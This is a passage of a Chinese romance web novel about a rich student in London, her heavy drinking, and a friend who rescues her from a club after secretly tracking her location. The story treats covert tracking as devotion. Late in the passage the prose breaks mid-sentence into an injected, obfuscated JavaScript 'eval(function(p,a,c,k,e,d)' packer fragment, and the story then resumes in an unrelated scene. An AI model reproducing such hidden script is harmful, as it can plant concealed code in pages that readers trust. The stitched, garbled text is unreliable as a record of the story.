车轮停在梅菲尔区联排公寓的雕花铸铁大门前,身穿硬挺制服的门房已在雨幕中等候多时,手里撑着一把够装下三人的黑伞。 他训练有素地拉开车门,伞面精准地笼罩住年轻女人下车的路径,低声问候:“晚上好,温小姐。” 过量的酒精让温初夏的大脑处于半麻状态,所剩无几的精力全用来维持身体不要摔倒,闻言,她只是“嗯”了一声,脚底轻浮地走进公寓楼。 大理石铺就的门厅灯火通明,温暖干燥的空气瞬间包裹上来,带着白檀与雪松的气息,与外界的阴冷潮湿形成强烈对比,处处奢靡。 很快,电梯到达楼层。 进屋后,温初夏首先把自己脱了个精光。 风衣外套和内里的黑色紧身小礼裙皱巴巴堆在门口,被雨打湿的长筒靴一只立一只倒,耳钉项链和手镯随意扔到梳妆台上,掉了也无所谓,反正第二天自会有家政上门收拾。 公寓暖气开得很足,哪怕□□也不会冷。 温初夏赤脚来到浴室,手撑在冷冰冰的洗脸池,看着镜子里模糊的倒影发了会儿呆,然后用夹子把深棕色的大波浪长卷发夹起来,踩进提前放满热水的按摩浴缸,玫瑰精油浴球把整缸水染成半透明的粉色。 哗啦。 水声轻响,浴缸运作,发出微弱的震动。 良久,温初夏睁开眼,双腿曲起,圆滑白皙的膝盖露出水面,道:“我感觉……这样的生活好无聊啊。” 酒意还没醒,困意又上涌,温初夏的语气很含糊,声音在水雾弥漫的空旷浴室里回响,更显寂寞。 但粉团子却十分不信:“无聊吗?明明很爽啊——你每天不是吃就是玩,旷课逛街购物泡吧,还三天两头出去自驾游,点名找代课,作业找代写,考试找枪手,连嫌弃游戏账号升级太慢都要重金找代打,这世上有谁过得比你更舒服吗?没有吧。” “……但我身边没有朋友啊,生活也没有目标。” 温初夏把像颗火锅丸子一样在水面翻滚的粉团子捞起来,捏了捏,叹气道: “都怪霸总文里女二的人设太单薄,什么‘挥金如土的浪□□,泡男人跟泡饭一样日常’……我这才留学不到一年,就已经觉得有些被腐蚀了,对什么事都提不起兴趣,未来还有三年,这日子,啥时候是个头啊。” 相比之下,温初夏还是更喜欢上一本女主的人设,虽然生活清贫了点,学习辛苦了点,但人家好歹精神状态优秀啊,不折不挠积极上向,阳光开朗正能量。 直接甩了空心人恶毒女配十万八千里好吗。 “拉倒吧你。”粉团子无情戳穿她,“刚才在酒吧,也不知道是谁在看到那对身高188、卷毛小虎牙的双胞胎时,眼珠子亮的能当灯泡使。” “你说你力不从心,就请拿起手机,把那个哥哥还是弟弟的联系方式删了,免得之后肾虚到要吃中药。” 温初夏立刻为自己正名:“我眼睛亮是有原因的,你不觉得那个弟的侧脸有点像……” 她忽然卡住,不再继续解释,自暴自弃地瘫了回去,把粉团子扔回水里,语气难掩烦躁:“算了,跟你说不明白。” 粉团子:咕嘟咕嘟咕…… 说不明白就说不明白,扔我干啥? 因为醉酒的缘故,温初夏直接睡到了第二天下午。 保洁不知道什么时候来的,静悄悄收拾完,又静悄悄地走了。 反正当温初夏醒来时,看见窗外雨已经停了,凌乱的公寓重新回到了整洁干净的状态,像是样板房,过分精致,反而缺乏生活气息。 胃里的东西在睡梦中消化得一干二净,肚子发出空荡荡的悲鸣,温初夏饥饿难耐,等不及外卖送到,又懒得换衣服出去吃,时隔三周,终于打算再下厨一次。 智能冰箱的保鲜层堆满了有机蔬菜和新鲜水果,但她打开的却是冷冻层,里面存放着几十袋外包装一模一样的速食产品,是徐珂从国内空运过来的麻辣烫。 去年临走前,温初夏强行给徐珂塞了张支票,让她定期给自己寄一些真空包装的麻辣烫,剩下的钱可以用来开个网店,就当是自己投的资。 没想到徐珂还挺有商业头脑,短短一年时间,她不仅开了网店、创立了品牌、注册了商标,网店销量很好,听说最近还打算注册公司,在周边城市开几家连锁店试水。 温初夏很看好徐珂,遂又给她打了一笔款,期待她能做大做强,承包自己这辈子的麻辣烫。 十分钟后。 漂浮在空中的淡雅香氛,被食物的香气所完全覆盖。 吃饱喝足,温初夏坐在客厅的地毯上,打开电视看了部老掉牙的爱情电影。 等午晚餐消化一些后,又去公寓楼二层的健身房,练了俩小时有氧+无氧,出了一身热汗,感觉身体轻盈了不少。 冲完澡,吹干头发,温初夏换了身没有明显logo的舒适常服,穿上做旧款脏脏鞋,踩着夕阳橘红色的尾巴出了门。 今日份任务,也是唯一的任务,是去牛津街的Selfridges大买特买。 每当新品到店,SA总会在第一时间给温初夏发lookbook和预留通知,让她每次的购物体验都相当丝滑。 通常情况下,只有她不想要的,没有她买不到的。 刷卡时,粉团子幽幽问:“还觉得生活无聊不?” “不了不了。” 温初夏坐在VIC接待室的真皮沙发上,翘着二郎腿,被巧舌如簧的SA哄成了胚胎,嘴角扬起慷慨的弧度,听到交易额恐怖的数字时,连眼都不眨一下。 “昨晚是我太片面了。男人泡腻了,可以靠买买买来调理一下嘛。”她忘如本。 “这样的生活可太有聊了!一想到这种神仙日子还能再过三年,让我以后天天住别墅吃大餐我也愿意。” 粉团子:“……够了啊,怎么还连吃带拿呢!” . 时间一晃到了暑假。 其实,放假前后的生活对温初夏来说并无多大区别,因为她本来就极少去学校,暑假的唯一好处,就是让她能更加心安理得地,不去学校。 温初夏给自己安排了为期俩月的欧洲自驾游。 这个夏天,她先是在塞纳河畔晨跑,逛了修复后的巴黎圣母院,接着,又去托斯卡纳的农庄游泳。 上岸后,赤脚踏在滚烫的石板,湿淋淋的脚底转瞬变干,游累了,就到大棚采摘番茄和橄榄,直接把连体泳衣下的肚子吃得突出来,度过了一个有史以来最惬意也最迷人的午后。 除此之外,温初夏还在普罗旺斯的薰衣草田边骑过自行车,车筐里放着一个粗陶小碗,和装满无花果的草编篮。 意外翻车后,碗不幸碎了,草编篮被她拿回酒店,但离开时因为行李箱塞不下,所以没有带走; 后来,她乘直升机掠过艾格峰北壁冷酷的岩壁,舷窗外,是巨大的绿色碗状山谷,美得惊心动魄,温初夏手机内存差点拍爆; 在蓝到令人眩晕的爱琴海边,她买了份柠檬汁鱿鱼,坐在小酒馆刷了白漆的凳子上,就着咸腥的海风,边喝茴香酒,边吃鱿鱼。 温初夏几乎把欧洲玩了个遍,风和丽日了一整个假期,阳光沙滩海浪仙人掌,还有一位老船长……结果一回到伦敦,发现—— 他爹的,怎么还是阴天??! 巨大的落差引发了严重的戒断反应,气得她差点儿又来一场说走就走的旅行。 但一连玩了两个月,温初夏实在是累了,再加上马上要开学,不敢太放肆,所以暑假的最后几天,她干脆缩在公寓里,当起老鼠人。 每天吃了睡睡了吃,昼夜颠倒,和国内周雅宜等人视频通话的频率有了显著提升,因为作息差不多。 这天清晨,窗外刚破晓,在游戏里忙碌了一整晚的温师傅放下手柄,腿麻地站起身,把卧室的遮光窗帘拉得严严实实,蓝牙音响播放白噪音,再戴上眼罩,怀里抱着毛绒玩偶,躺下睡觉。 人一旦作息不规律,睡眠质量就会变得很差,像她从前睡觉之前哪儿需要做这么多准备工作,直接两眼一闭,不到十分钟就能进入甜美的梦乡。 刚艰难眯着不到三个小时,床头柜的手机忽然响了起来,打完没接,又继续打,吵得床上的人根本没法忽略,接着往下睡。 温初夏只能无可奈何地爬起来,要死不活地摸到手机,连眼罩都没来得及取,大拇指凭感觉往屏幕上一划,放在耳边: “喂?” 暴躁的声音里满满都是起床气。 …… 半分钟后。 温初夏暴力扯下眼罩,拿开手机,看了眼来电显示的头像,又放回耳边,不敢置信地问: “你说你今天几点到伦敦??!” 下午五点半。 希灵登区,希思罗机场。 温初夏穿着一身“出门倒垃圾”套装—— 浅色polo衫,牛仔五分裤,黑色豆豆鞋。 手捧一杯满冰美式,PE材质的透明塑料杯外壁凝着一层模糊清凉的水雾,鼻梁架着墨镜,镜片不仅挡住了眼下乌青的黑眼圈,还遮盖掉她大半张小脸。 但从眼镜下绷直的嘴角不难看出,此刻她心情不咋地,和身边其他接机的人形成鲜明对比。 不知道的还以为,她是来接仇人的。 五分钟后,“仇人”闪亮登场。 季明轩左右手分别都拖着一个大行李箱,身后还背着一个比忍者神龟的乌龟壳还厚的灰色双肩包。 刚从出口出来,他目光精准地锁定在人群中毫不起眼的温初夏身上,脸上立刻扬起灿烂耀眼的笑,松开一只箱子,挥手大声和她sayhi: “嗨——!”一个字拐了十八个弯,跟猴叫似的。 “……” 感受到周围人投来好奇的目光,温初夏觉得出门前戴墨镜真是自己今天做的最对的决定。 脱离掌握的行李箱被同行的旅客撞了一下,往前溜了半米,季明轩忙放下右手,快走几步重新握住拉杆,径直来到温初夏面前。 荣光焕发、精神抖擞的样儿,完全看不出他是刚坐了20来个小时飞机,中途还转过机的人。 和他相比,温初夏简直比阴沟里的老鼠还萎靡。 至少人家鼠鼠能跑,而她,不能。 “没想到你真的来接我啦。”季明轩看着她,笑容略带羞涩。 “不然呢。”温初夏单手摘下墨镜,有些阴阳:“您都亲自call我了,我还能不来迎接啊——话说你既然要来英国,怎么不提前通知我,早上是趁转机的时候和我打电话的?” “嗯。我家里人全都反对我出国,如果我非要出来的话,他们就只答应给我一点点生活费,连之前的二分之一都没有。在迪拜转机的机票比直达便宜一些,但要多接近十个小时,我骨头都要坐散架了……” 抱怨完,季明轩又抱歉道:“没想到你九点还没起。” “呵呵,你错了。”温初夏纠正,“我是刚睡下。” “啥?刚睡下??”季明轩惊了,眼睛瞪得像铜铃,能清楚地看见爬在里面的红血丝,他猜测:“你不会时差没倒过来,一直过的是国内时间吧?” “……”温初夏无语地翻了个白眼,“我真佩服你的想象力。” “怎么突然决定来英国留学?”她转移话题,“去年高考不是超常发挥了一百多分吗,都上二本线了,周雅宜还说全靠你妈妈去寺庙拜的神佛显灵,干嘛又退学不读了啊?” 当然因为知道你早就和宋云泽分手,而且你俩还相隔两地啊。 但本着真心话就该藏在心里的原则,季明轩洋洋得意道: “当然是觉得二本配不上我这么优秀的人才啊。所以我退学复读了一年,这回又多考了一百五十来分,心仪的几所学校里就英区的最早给我发了offer,于是,就来咯。” 开玩笑,其实他只考虑了伦敦的大学。 温初夏想起他稀巴烂的英语水平,嘬了口透心凉的美式,表情怀疑:“你雅思过啦?” 季明轩立马“欸”了声,义正言辞:“你不要小看人好不好,我,雅思,8.0。而且高考英语就扣了十分儿呢。”他铿锵有力地念出自己的成绩。 谁知温初夏更惊讶了,叼着吸管,依然不信:“你是偷卷子了,还是贿赂人家考官啦?” “就不能是我自己凭实力考的吗!” “那我问你一个问题,你能答出来我就信你。” “尽管问。” “英文字母统共有多少个?” 季明轩:??? “请问您对我的智力是不是有什么误解?”他很没好气,但还是回答了:“26个。” 温初夏一听,迅速换了副了然的神色:“OK,信了。” 季明轩:“……”这都什么跟什么啊! 他摸不着头脑,干脆用行李箱推着女生往外走。 “老站着说话,你不累我都累了。而且我要饿死了,gogogo快带我去吃饭,听说英国的中餐馆大部分都很难吃,连西红柿鸡蛋这种最简单的菜都做不好,是不是真的?我感觉有点夸张,今晚高低得去尝尝咸淡,你请客啊,我买完机票兜里就剩个把月生活费了……” 季明轩一来,彻底粉碎了温初夏继续当老鼠人的梦想。 假期的最后五天,她被迫成为导游+地陪+ATM机,带季明轩把伦敦市中心和其他几个知名景点逛了个遍,每天早上7点起,暴走两万步后回到公寓,11点洗完澡直接晕厥在床坠入梦境,倒是误打误撞把生物钟给扳 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生活助理把大包小包拿到公寓,分门别类地放进衣帽间的柜子里,问温初夏晚上想吃什么,自己可以去厨房现做或者去外面买了送回来,二者都要比点外卖快很多。 “不用了,我不饿。” 温初夏卡刷累了有些空虚,瘫在沙发上,嘴里包着根奶茶味儿的棒棒糖,眼睛看着微信聊天界面,含糊道:“今天辛苦你了,你快回家吧,外面在下雨,拿把伞走。” “好的。” 助理走后,她点开周雅宜发来的图片,是一张户外烧烤的照片。 镜头对准铁丝烧烤架,底下燃着黑里透红的块状炭火,上面放着各种木签串串,有小土豆、香菇、淀粉肠、鸡翅等等。 一起入镜的还有一双白皙修长、骨节分明的手,正在勤勤恳恳地给烤串刷调料,左边腕上戴着一只表和一串同色系的紫檀手串,珠子中嵌着一小粒金豆。 是周雅宜送给李确的18岁生日礼物,他自从戴上后就没取下来过,化身外置器官。 哪怕远隔重洋,也逃脱不了被秀恩爱的命运,温初夏冷笑着“哼”了声,先发了个问号过去,精致的美甲把手机屏幕敲的噼里啪啦响: 【现在国内是凌晨吧,你俩熬夜吃夜宵呢】 周雅宜:【是上上个周末的库存,我和李确露营去了,但没发朋友圈】 周雅宜:【昨天打视频你不是说你最近很想吃烧烤吗,我特意找出来的,馋死你】 给温初夏气的,当即点开外卖软件,搜索中餐烧烤,但一看配送时间,都是60分钟起步,并且底下好多评论都说又贵又难吃,无一家幸免,遂无奈放弃,把棒棒糖吐进垃圾桶,还是打算煮麻辣烫。 锅刚接了水放在灶台上,还没烧开,就听见了一阵敲门声。 “你怎么来了?” 温初夏松开门把手,后退两步,看到季明轩头顶的棒球帽被雨水淋成深色,手里提着的鼓鼓囊囊的塑料袋外侧也能光可鉴人,当即无语皱眉:“就不能打把伞吗。” “人家都不打,我一个人打的话太显眼了。而且雨也不算很大啊。” 季明轩拖鞋进屋,娴熟地从鞋柜里拿出一双男士凉拖踩上,把大塑料袋放在厨房的岛台上,边拿东西边道: “周雅宜说你这两天想吃烧烤,刚好,我也想吃,所以下课之后就去学校旁边的Lidl买了这些肉和菜,调味料是在另一家中超买的,但没买芝麻,我记得你家是有芝麻的对吧?在第二格吊柜里?” “……” 温初夏背靠在对面的墙上,没有回答,安静了好一会儿,才搓了搓长至掌心的袖子,半尴不尬地说:“可我家没炭火啊,而且还有烟雾报警器呢。” 万一惊动了火警怎么办? “我知道,所以打算用烤箱烤。我提前在”季明轩把塑料袋揉成一团扔掉,洗干净手,拿出案板开始备菜。 “呀,今天Lidl打折的梅花肉品质不错啊,你喜欢切成多大块儿的?是2㎝×2㎝×2cm,还是3×3×3?” “香菇要改花刀吗?卧艹我不小心切成两半了!算了,就这样吧,反正最后吃进肚子里都一个样。” “土豆是不是先要煮熟了再烤啊?嘿,你怎么刚好在烧热水?默契满分!” “快快快纸纸纸纸纸……我泪要流到菜上了,这□□长得真洋葱。” …… “欸,你啥时候走?” 温初夏左脚踩在板凳边缘,右手捏着根牙线剔牙,小声呸呸。 季明轩吃撑了,本来仰头半躺在沙发上,霸占掉温初夏平时最爱呆的位置,闻言,立刻支楞起来,忿忿不平道:“刚吃完就赶我走,你还有没有良心了?!” 温初夏扭头看了眼窗外漆黑的天色,反问:“那你想什么时候走?现在都要九点了,太晚的话一个人回去不安全。” “……”想说的话在嘴里拐了个弯,又咽进肚子,季明轩躺了回去,小声嘀咕:“我一个大男人怕什么呀——等会儿把碗洗了再走。” 谁知道他说的“等会儿”是多久,温初夏不想再继续和季明轩呆在同一封闭空间,心里总觉得毛躁躁的,怪不自在。 于是她回房间换了衣服,随便戴了点饰品抹了个口红,拎上刚买的新包,离开衣帽间。 “去哪儿?”季明轩Duang大一只挡在外面,把出口堵得严严实实,让她连钻缝的机会都没有。 温初夏:“去酒吧和同学喝两杯,我们提前约好的。” “同学?”男人挑眉,“男的女的?同班的还是同系的还是同校的?” “女的。”温初夏不想扯皮,干脆撒谎。 但撒完后她又有些生气,不客气地怼道:“不过就算是男的又怎样,你又不是我爸妈——不对,我爸妈都不会管这么宽,闪开闪开,姐要迟到了。” 她一把推开季明轩,往门口走。 刚拧开门,身后人叫住了她:“等等。” 温初夏的态度已经可以用糟糕来形容了:“你还想问什么?先说,我不知道对方户口本长啥样。” “这个,送给你。” 季明轩从书包里拿出一个Jellycat巴萨罗那熊的挂坠,没有递到温初夏手里,而是直接挂在了她的包上,手指弹了弹,评价:“嗯,还挺配的。” 配个毛线啊。 温初夏像一只被针扎破的氢气球,怒火全消,无奈道:“拜托,我衣着这么成熟,挂个棕黄色小熊出门,合适吗?” “这有什么不合适的。”季明轩一手撑在鞋柜上,居高临下地看着她:“非要说的话,难道不应该是你脖子上的choker最不合适吗?收这么紧,也不怕把自己勒死。” “能对即将要出门的人说点儿吉利话不。”温初夏下意识去摸皮链上的金属蝴蝶,脑海里闪过一张冷白的脸,情绪又紧绷了回去。 她放下手,踢开门,提醒:“记得把碗洗了,否则我明天就把那一堆厨房垃圾和粘了油的锅碗瓢盆全部打包邮去你家。走了。” 关门带起的风吹开季明轩额前的碎发,他发了会儿呆,然后把厨房收拾干净,坐在沙发上,拿出手机,眼睁睁看见地图上的黄色小点,走进了本区的一家club。 55. 第 55 章 由上世纪老建筑改造而成的club,门檐之上的招牌围着一圈装饰用的复古小灯泡,厚重的隔音大门将内外分割成两个完全不同的世界。 店外,深秋的寒风卷起枯黄的梧桐叶,在还未完全变干的青石板路上簌簌滑动,霓虹灯牌的光晕穿透薄雾,拐角传来流浪艺人飘渺的手风琴声。 而店内,躁动的电子乐形成密不透风的围墙,紫蓝色激光束将升腾的烟雾切割出几何图案。 舞池中,无数年轻男女伴随劲爆的鼓点疯狂摇摆,各种好闻难闻辛辣刺鼻的气味交融在一起,营造出一种颓靡但疯狂的氛围。 二楼VIP区,华丽的水晶吊灯洒下暖金色光芒,照亮冰桶里冒着冷气的香槟瓶,技巧娴熟的调酒师手腕翻飞,火焰在深褐色威士忌的表面跃动,将杯壁上的肉桂粉烤出焦香。 几杯特调下肚,温初夏已经开始有些神志不清了,坐在猩红色的丝绒沙发上,夹在指尖的香烟就快要燃至尽头,烟灰不经意掉落,把黑丝烫出了个洞。 “嘶。” 大腿传来清晰灼热的痛感,让温初夏立刻从放空中回过神。 她站起来拍了拍,把烟蒂摁熄在茶几的烟灰缸里,涣散的视线努力聚焦,看见破洞处的皮肤没什么大碍,只是变红了些,便没放在心上,神经松懈。 “怎么了?姐姐。” 一坐回去,左边的男孩就立刻紧黏住她。 明明视力很好,二楼的光线也不算很暗,他却非要把头埋在离温初夏大腿不过五公分的地方,往破洞处吐了一口湿热暧昧的气息,拇指轻揉,起身在她耳边问:“痛不痛?” “No,notabit。”温初夏觉得耳廓痒,上半身往右侧倾斜,看着男孩,嘴唇扬起一抹模糊的笑,轻轻捏着他又尖又翘的下巴。 她问:“谁教你这么用中文叫人的?” 姐姐。 发音怪蹩脚,但也怪好听。 “我的一个华人朋友。”男孩笑嘻嘻的,语气是藏不住的得意:“他说中国女人都爱听比她们小的男生叫她们‘姐姐’,如果比她们大,那就直接叫‘宝贝’或者‘甜心’,‘mygirl’也行。” “嗯?”温初夏故意不笑了,挑眉:“看来你的目标不止我一个啊。” “哪有!”男孩急着贴上来,搂住她的脖子,撒娇道:“我又不是Leo,虽然他只比我小五分钟,但我们的性格却截然相反。悄悄告诉你,其实他已经连续两晚没有回家睡觉了,下次约会别再叫他了,他这个人毫无忠贞可言,不值得你为他付出时间和金钱。” 女人懒懒的:“可我喜欢他的长相。” “我和他明明长的一样啊。”男孩很委屈,“为什么你总是更喜欢他一些?连送他的礼物也不送我的贵……” “一样吗?”捏住下巴的手忽然用力,把男孩的脸往侧边转。 温初夏眯起眼睛,审视着这张年轻而精致的侧颜,最终评判:“还是他更帅一点吧。”更像某人一点。 男孩却当她是在开玩笑,因为有时连他的父母都分不清他们兄弟俩谁是谁,更别说是温初夏了。 他没有生气,有的只是失落和嫉妒,狐媚子一样瘪着嘴,可怜巴巴道: “别说这种话,姐姐,我会伤心的。” 他知道自己哭起来的样子很好看,正在努力酝酿泪意,没想到温初夏却毫不在意他的情绪,煞风景地问:“Leo人呢?他去上厕所怎么到现在都没回来。” “……”男孩深吸一口气,松开她,坐直闷声道:“谁知道呢,不是被马桶冲走了,就是被其她女人拐跑了。” 说完,他去吧台拿了一排五个小玻璃杯的B-52轰炸机,用打火机把表层的伏特加点燃,吸管递给温初夏。 “喝吧,让我看看你的酒量究竟有多好。” 温初夏已经处于半醉状态,她知道,这五杯酒精炸弹喝完,自己肯定会醉的不省人事。 但没关系,谁让她现在的人设就是放浪形骸、做事情只图一时之爽而不计后果的堕落大小姐呢。况且,今晚她是真的很想断片。 所以温初夏一口气全喝了。 男孩在一边鼓掌,笑着夸她好厉害,眼里却闪动着阴谋得逞的暗光。 不久后,迟钝的大脑被酒精彻底侵占,身体软的不成样。 “姐姐——”她听见身边人拖着嗓叫她,与此同时,被拖进一个略硌的怀里。 温初夏毫无抵抗之力,醉的连眼皮都抬不起来,甚至都忘了自己正身处何地,却清楚闻到了,从对方身上散发的Armani寄情的香味。 淡雅的柑橘混合着清新的海水,尾调是深邃却不沉重的木质香,勾勒出十足的少年气,阳光,内敛,纯净。 她闭着眼,微微皱眉:“这不是我送给Leo的香水吗,怎么你也喷?” “他喷的,我就喷不的?从小我俩的所有东西都是共用的,有你这样区别对待的吗,我从没见过你这样的坏女人,说出的话跟刀子一样,专伤人心。” 男孩虽生气,但也只嗔了这一句,紧接着就迫不及待地问: “Hotelorhome?” “……”温初夏思考了会儿,心想反正早晚都得破戒,不如挑在今晚,于是回答:“去我家吧。” 话音刚落,就被人捏着胳膊拉了起来,踉跄了几下没稳住,头顶直直戳到那人胸口上,虽然姿势很难看,但总算是站稳了。 “温、初、夏。”对方的声音是罕见的冰冷,“我真恨不得把厨房没洗的锅扣你脑门儿上。” 温初夏:? 她费劲地抬起头,天旋地转的视线中心,是季明轩风雨欲来的严肃俊脸。 “这就是你说的和同学喝两杯?”他极尽嘲讽,“杯子里怕不是装的医用酒精吧,否则怎么至于只喝两杯就醉的往陌生人怀里倒?” “……医用酒精喝不得,会死人的。”温初夏慢吞吞地说。 “你还知道酒喝多了会死人啊?” 季明轩“哼”了声,将她打横抱起,咬牙数落: “你看看你现在的样子,跟死了有什么区别——整天有课不上有事不做有书不读,大晚上一个女孩子跑到这种地方来,还喝成这样,你知不知道多危险?!” “Heybro,what''sup?whoareyou???” 沙发上的小卷毛走了过来,就算他再听不懂中文,也能从对方的行动看出他的来意,赶紧伸手,想把温初夏抢回自己身边。 “这是我的女伴,你想带她去哪儿?” 季明轩扫了眼他的teenager身材,虽然还算高,但身板很薄很瘦,一副弱不禁风的倒霉样子,不明白温初夏怎么会看上这种弱鸡,和前任宋云泽相比,眼光简直是断崖式下跌。 “别碰。”季明轩躲开他的爪子,“我是她男朋友,谢谢你刚才陪了她这么久。现在,你可以滚了。” 男孩先是愣住,然后气笑了:“我可从没听她说过,她有男朋友。” “她不告诉你,只能说明你不配知道。”季明轩冷冷地说,又问:“见过人体自由落体吗?” “Whatdoyoumean?”男孩一懵,目光下意识落在他抱着温初夏的紧实臂膀上,比自己的手粗了几乎两倍,心里不动声色地打了个寒颤。 季明轩一字一句地说:“五秒钟之后,你要是还不滚,我就会拎着你的衣领拖你去卫生间,顺着窗户,把你从二楼直接扔下去。” …… 等碍事的人走掉之后,季明轩拿起沙发上的外套,给不省人事的温初夏穿上,又把她包链上的小熊挂坠扯下扔掉,包挎在左手手腕上。 他重新将她抱起来,离开这个纸醉金迷、混乱不堪的地方。 一走出门,动感的音乐立即消失在耳后。 世界由嘈杂转而安静,像是从海底游出了水面,略有些刺骨的晚风吹到温初夏身上,让她控制不住激灵了一下,头脑也跟着清醒了一些。 “你是,怎么找到我的?”她终于意识到了这个问题。 “你猜。”反正作案工具都已经销毁了,季明轩毫不心虚,甚至开起玩笑: “既然你诚心诚意地问了,那我就大发慈悲的告诉你——其实我会一种神奇的魔法,可以通过第六感感知到你在哪儿,怎么样,是不是很神奇?” 因为醉酒,温初夏的理解速度慢了不止一点半点,差不多过了半分钟,她才苦恼地皱起眉,脑袋嫌冷地往男人胸口里蹭了蹭,低声嘟哝: “你们怎么都这样……” 季明轩以为温初夏的意思,是“你怎么都这样爱开玩笑”,低头看着她红扑扑的小脸,问:“除了我,还有谁?” 问出口的一瞬间,他就已提前在脑海里预设好答案,心中甚至升起一丝轻蔑和安慰: 老死不相往来的前任而已,哪怕还记得对方说过的一些话,做过的一些事,但分手了就是分手了,两人中间隔着浩瀚无垠的大西洋,任宋云泽再怎么折腾,也翻不出浪来。 更何况温初夏的突出性格之一是“绝不吃回头草”,再贵的游戏,只要打通关后,就绝不会再碰第二次,对人也是如此。季明轩很放心。 没想到怀里人却说:“时准……” 谁? 他猛地停下,风把外套吹起一个边。 得到了意料之外的答案,季明轩瞬间眉心紧锁,颠了一下,把她抱得更高些,问:“你什么意思?关时准什么事?” 温初夏被颠的脑袋往后掉,脖子响了几声,差点儿咬到舌头。 她费劲地把头抬起来,睁开眼,看着他,浑浊的目光明显是醉到不行。都说醉鬼的话不可信,可季明轩却觉得,她接下来的话,是真的。 “他也总是能莫名其妙知道我的位置,像鬼一样缠着我不放,从前给我惹了好多好多麻烦,我烦都烦死他了……” 温初夏低下头,大着舌头发牢骚,含糊的声音听起来很幼稚、很好笑,像在玩含水传话的游戏,但季明轩却一点儿也笑不出来。 因为,说着说着,她居然哭了。 “但为什么,我现在却又会那么想他呢?” 大颗大颗的泪水无声滑落。 很可惜,唯一的听众给不了她答案。 用心布置的棋局在一息之间被轰然掀翻,只落的一地鸡毛,季明轩心绪复杂极了,但抱人的手臂却依旧稳稳当当,并没有因为受到打击而松懈丝毫。 忽然,一只手掐住他的脸。 温初夏重新仰起头,泪水已经止住,但泪痕还未干涸,微肿的嘴唇颜色红滟滟,她皱眉,表情看起来很不满意地问:“你是不是变白了啊?” 相比于一年前,季明轩确实变白了很多,因为他先是闭关玩命复读了十个月,学习期间很少出门晚。 来到伦敦之后,他每天忙着学习和兼职,还有去温初夏家给她做饭,或者陪她打游戏,几乎也都在室内呆着,所以皮肤白了差不多三个度。 从之前的小麦色,变成了现在偏白的肤色。 “我白没白关你什么事。”季明轩还在气头上,头一偏,挣开她的手。 “你不要变白。”温初夏垂下手臂,很呆又很认真地对他说:“我讨厌你和时准越来越像,你不要变得像他,好不好?” “……” 良久。 季明轩肩膀下沉了几分,沉声答应:“知道了。” 他迈开步子,在路边拦下一辆出租车,小心地把温初夏抱了进去,关上车门。 北京时间7点45分。 周雅宜被早八的闹钟叫醒,从枕头下方摸出手机,关掉闹钟,打了个哈欠,看见了季明轩在两分钟前给她发的消息。 【什么牌子的美白/精华比较好用,速速给我推荐两个】 周雅宜瞬间睡意全无,瞪大眼睛看着这行字,心想:这小子疯啦?还是……想给女孩送礼物??? 她立马坐起来打字:【你谈恋爱了?!】 季明轩回了个问号:【你什么脑回路,我自己用】 【??????】周雅宜更奇怪了,【你不是一直觉得皮肤白的男生没有男子气概吗?】 之前季明轩不知道用这个理由私下跟她蛐蛐过多少次李确,说他看起来不太行,给周雅宜气的,但又不好意思辩解说自己男朋友其实挺行的。 季明轩回:【以前觉得,现在不觉得了,我打算脱非入欧,只有皮肤变白才能更好地融入当地人的生活】 周雅宜:“……” 怎么办,她忽然好担心,自己的便宜表弟将来会不会被伦敦的anti-racist告上法庭。 . 都说到了冬天,人的精力往往会变差,但温初夏却恰恰相反,一周五天课,她几乎有四天都会去学校,不是因为幡然醒悟,而是因为季明轩的逼迫。 每天早上天还没亮,这个狗东西就会裹着羽绒服背着书包,在公寓楼外面竖着,一副自己如果不下楼,他就绝对不会走的犟种态度。 本来温初夏是打算不鸟的,他爱站岗就让他站去,又不是自己逼的,放下助人情结,尊重他人选择。 直到某天清晨,天色还是和夜晚时的一样漆黑,她拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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季明轩拿起手机,绕过温初夏,站在水池边洗草莓,闲聊道:“c市有什么好玩的啊,我没去过,但长这么大也没听说过那里有什么知名景点,它好像不是旅游城市吧?” 李确“嗯”了一声:“确实不是。我们其实是来……” 这时,周雅宜突然着急忙慌地闯入镜头,把手机给拿走了。 “c市跨年有烟火秀,我们一会儿就要出门去看,你打电话来有什么要紧事吗?有事说事,没事我就挂了。”她语速偏快,语气也不太客气。 “欸这位小姐,你的态度要不要这么刻薄啊。”季明轩把溶解了果蔬清洗剂的水倒掉,然后打开水龙头冲洗。 “没有要紧事就不能和你打电话了?而且我身为你弟弟,关心你的感情生活也可以算是要紧事的一种吧。” 他振振有词,还大声询问场外嘉宾:“李确,你说是不是?” 画外音:“嗯,可以算。” 周雅宜差点要翻白眼,深呼吸一口气,无奈道:“行,你关心你关心……但是只有五分钟,五分钟之后我和李确就出门了,到时候再敢打电话,我哪怕打飞的都要过去揍你知不知道。” 她今天脾气怎么这么差?吃火药啦? 季明轩边洗草莓边吃,虽然有些疑惑,但也没太在意,先是问起了小情侣的生活学习近况,接着又把话题撤到了高中同学身上,蓄谋已久地,问起了某个人—— “时准呢,他最近怎么样?” 季明轩把吃的只剩一半的草莓端去岛台,故作不经意地放到正在切玉米的温初夏面前,余光果然注意到,她在听见这个名字时,动作停顿了一下。 虽然微乎其微,但他还是敏锐地捕捉到了,口腔里残存的草莓香气忽然变得酸涩无比。 奇怪,刚才吃的时候明明还挺甜的啊。 “时准啊……”周雅宜原本看着前置摄像头的目光忽然上移,似乎是因为李确正从她面前经过。 她稍微想了想,说: “他挺好的啊。你也知道,他和李确一个学校的,平时虽然课太多不常见面,但李确和我说,时准在S大很出名,哪怕不是同一专业,他也经常能听见关于时准的八卦。” “比如呢?”季明轩问,同时从温初夏旁边的购物袋里拿出几盒肉类,制造出窸窸窣窣的声响,笑容轻松中藏着别扭,“他谈恋爱了吗?是不是有很多女生追他?” 分尸玉米的手又停了一下,然后用力往下一压,切成截面歪斜的两段。 “是的吧。”周雅宜的声音从听筒口传来,“时准高中的时候不就有很多女生追他吗,到了大学,没有老师家长管,追他的人肯定会更多呀。但是最近,我听说他家里给他安排了好几场相亲。” “啥?时准他才多大啊,应该是和你跟我同龄吧,就开始相亲了?”季明轩有些傻眼,阴谋论地猜测:“是不是时家要破产了,得靠他联姻来拯救家族企业啊?不然他爸妈也忒着急……” “哐当——!” 菜板不小心被压翻,切菜的刀掉在了地上,几节玉米也滚落了下去。 